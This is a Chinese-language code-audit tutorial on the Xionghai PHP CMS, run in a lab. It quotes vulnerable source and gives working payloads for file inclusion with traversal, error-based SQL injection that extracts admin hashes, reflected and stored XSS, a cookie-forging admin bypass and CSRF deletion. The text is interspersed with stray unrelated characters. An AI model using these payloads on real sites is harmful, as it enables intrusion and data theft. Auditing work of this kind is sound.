一、前言
簡單了解了一下夏醉,審計入門爽锥,熊海比較適合,因為是簡單的cms畔柔,適合入門氯夷。
二、審計環(huán)境
使用小皮面板靶擦,新建網(wǎng)站
三腮考、審計過程
先了解文件目錄
admin --管理后臺文件夾
css --存放css的文件夾
files --存放頁面的文件夾
images --存放圖片的文件夾
inc --存放網(wǎng)站配置文件的文件夾
install --網(wǎng)站進(jìn)行安裝的文件夾
seacmseditor --編輯器文件夾
template --模板文件夾
upload --上傳功能文件夾
index.php --網(wǎng)站首頁
先把網(wǎng)站源碼放到seay里面,自動審計一下玄捕。
可以看到踩蔚,可疑漏洞挺多的,然后對比著代碼進(jìn)行一一核實
文件包含漏洞
**index.php**
<?php
//單一入口模式
error_reporting(0); //關(guān)閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應(yīng)文件
?>
GET傳值r枚粘,用函數(shù)addslashes
轉(zhuǎn)義我們傳入的值馅闽,防止命令執(zhí)行,但是這顯然是不夠的,這里對文件包含漏洞是沒有用任何限制的捞蛋。
這里可以直接包含到files
文件夾下的文件孝冒,但是也可以通過目錄穿越柬姚,包含到根目錄拟杉。
我們在files
文件夾下新建一個phpinfo.php
<?php phpinfo();?>
payload:
?r=phpinfo //包含files文件夾下的phpinfo()
?r=../phpinfo //包含根目錄的phpinfo()
第二處 /admin/index.php
也是同理 同樣的代碼,同樣的包含量承。
【所有資源搬设,點擊查看】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2撕捍、電子書籍(白帽子)
3拿穴、安全大廠內(nèi)部視頻
4、100份src文檔
5忧风、常見安全面試題
6默色、ctf大賽經(jīng)典題目解析
7、全套工具包
8狮腿、應(yīng)急響應(yīng)筆記
SQL注入漏洞
SQL注入一般存在于登錄框這里腿宰,我們直接看后臺登陸框的源碼**admin/files/login.php**
后臺注入
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤缘厢。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉吃度,用戶名或者密碼錯誤。');history.back();</Script>";
exit;
}
?>
大致看了看代碼:
user和password接受我們POST傳值贴硫,沒有任何過濾椿每,直接插入到查詢語句中。先在數(shù)據(jù)庫中查詢user是否存在英遭,如果不存在就報錯间护,而且mysql_error()
是開著的,可以報錯注入挖诸,如果user存在的話就對我們的傳入的password進(jìn)行md5散列和數(shù)據(jù)庫中的password進(jìn)行比較汁尺,如果相等,則登陸成功税灌。
經(jīng)過一番分析均函,存在報錯注入,萬能密碼無法登錄菱涤,因為對password進(jìn)行md5散列苞也,與數(shù)據(jù)庫中進(jìn)行對比。
漏洞復(fù)現(xiàn):
正常的報錯注入
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
確實存在
將兩段得到的MD5的值拼起來進(jìn)行MD5
爆破即可得出password明文粘秆,之后查詢user
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
即可進(jìn)行登錄如迟。
然后我們查看別處
**/admin/files/softlist**
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=softlist'</script>";
exit;
}
依舊是開了mysql_error()
且無過濾殷勘,注入同上
**/admin/files/editlink.php**
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$link = mysql_fetch_array($resul);
類型同上此再,不再贅述。
發(fā)現(xiàn)玲销,好像這個cms涉及sql的均未過濾且可進(jìn)行報錯注入输拇。這可能就是這個cms適合審計小白的原因了吧
以為這個cms的SQL注入到此結(jié)束了,后來看了大佬的資料贤斜,發(fā)現(xiàn)還有兩處特別之處策吠,值得一提(對于審計小白)。
**/files/software.php**
前臺注入
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$download = mysql_fetch_array($resul);
這里面引用了函數(shù)addslashes
進(jìn)行過濾
關(guān)于addslashes
函數(shù)addslashes()作用是返回在預(yù)定義字符之前添加反斜杠的字符串瘩绒。預(yù)定義字符是單引號(')雙引號(")反斜杠(\)NULL猴抹。
在官網(wǎng)中有這樣的注釋
默認(rèn)情況下,PHP 指令 magic_quotes_gpc 為 on锁荔,對所有的 GET蟀给、POST 和 COOKIE 數(shù)據(jù)自動運行 addslashes()。不要對已經(jīng)被 magic_quotes_gpc 轉(zhuǎn)義過的字符串使用 addslashes()阳堕,因為這樣會導(dǎo)致雙層轉(zhuǎn)義跋理。遇到這種情況時可以使用函數(shù) get_magic_quotes_gpc() 進(jìn)行檢測。
因為這里被GET傳值就已經(jīng)默認(rèn)運行addslashes()
嘱丢,所以再次使用addslashes()
就不起作用了薪介,所以依舊還是可以進(jìn)行報錯注入。
payload:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
** /install/index.php **
安裝流程存在SQL注入 越驻,代碼如下
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改錯誤:'.mysql_error());
echo "管理信息已經(jīng)成功寫入!
";
沒有過濾汁政,mysql_error()
開著,依舊可以考慮報錯注入缀旁。
參閱大佬的文章
首先要對InstallLock.txt
文件鎖進(jìn)行刪除
重新安裝的時候在user處報錯注入
payload;
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
這個cms的SQL注入就到此結(jié)束了
XSS漏洞
反射型XSS
**/files/contact.php**
$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行
payload:
<img src=1 onerror=alert(/xss/)>
當(dāng)然還有許多的反射型XSS记劈,這里就不一一列舉了,根上面這個并巍,基本大差不差目木。
存儲型XSS
**/admin/files/manageinfo.php**
$save=$_POST['save'];
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
if ($save==1){
if ($user==""){
echo "<script>alert('抱歉,帳號不能為空懊渡。');history.back()</script>";
exit;
}
if ($name==""){
echo "<script>alert('抱歉刽射,名稱不能為空。');history.back()</script>";
exit;
}
if ($password<>$password2){
echo "<script>alert('抱歉剃执,兩次密碼輸入不一致誓禁!');history.back()</script>";
exit;
}
//處理圖片上傳
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判斷接收數(shù)據(jù)是否為空
{
$tmp = new FileUpload_Single;
$upload="../upload/touxiang";//圖片上傳的目錄,這里是當(dāng)前目錄下的upload目錄肾档,可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
$imgsms="及圖片";
}
}
}
if ($filename<>""){
$images="img='$filename',";
}
if ($password<>""){
$password=md5($password);
$password="password='$password',";
}
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改錯誤:'.mysql_error());
echo "<script>alert('親愛的摹恰,資料".$imgsms."設(shè)置已成功更新辫继!');location.href='?r=manageinfo'</script>";
exit;
}
?>
POST傳參,但是無任何過濾俗慈,直接根數(shù)據(jù)庫進(jìn)行交互姑宽,存在存儲型XSS
payload:
<img src=1 onerror=alert(/xss/)>
垂直越權(quán)
**inc/checklogin.php**
中
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
如果COOKIE中user為空,跳轉(zhuǎn)到登陸窗闺阱。這種就是最簡單的垂直越權(quán)炮车。
我們訪問http://www.xionghai.com/admin/index.php抓包查看,這種情況馏颂,COOKIE中無user參數(shù)
當(dāng)我們修改COOKIE值后
越權(quán)就成功了示血,我們就可以訪問管理頁面了。
CSRF漏洞
舉例
/admin/files/wzlist.php
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親救拉,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
exit;
可以看見是沒有任何驗證的
然后我們進(jìn)行一下delete操作
然后抓包看一下
其payload
www.xionghai.com/admin/?r=wzlist&delete=18
然后我們換個瀏覽器瘫拣,來訪問這個payload亿絮,并且抓包,在Cookie處麸拄,添加user的值為admin
可以發(fā)現(xiàn)CSRF攻擊成功
**admin/files/softlist.php**
依舊存在CSRF派昧,做法同上。
四拢切、總結(jié)
到此蒂萎,這個cms的審計就差不多結(jié)束了』匆總的來看五慈,因為這個cms是個人開發(fā)的,并且很長時間沒有更新過主穗,審計過程中泻拦,基本上所有的漏洞都沒有過濾。這也許就是它適合我這種小白的原因吧忽媒。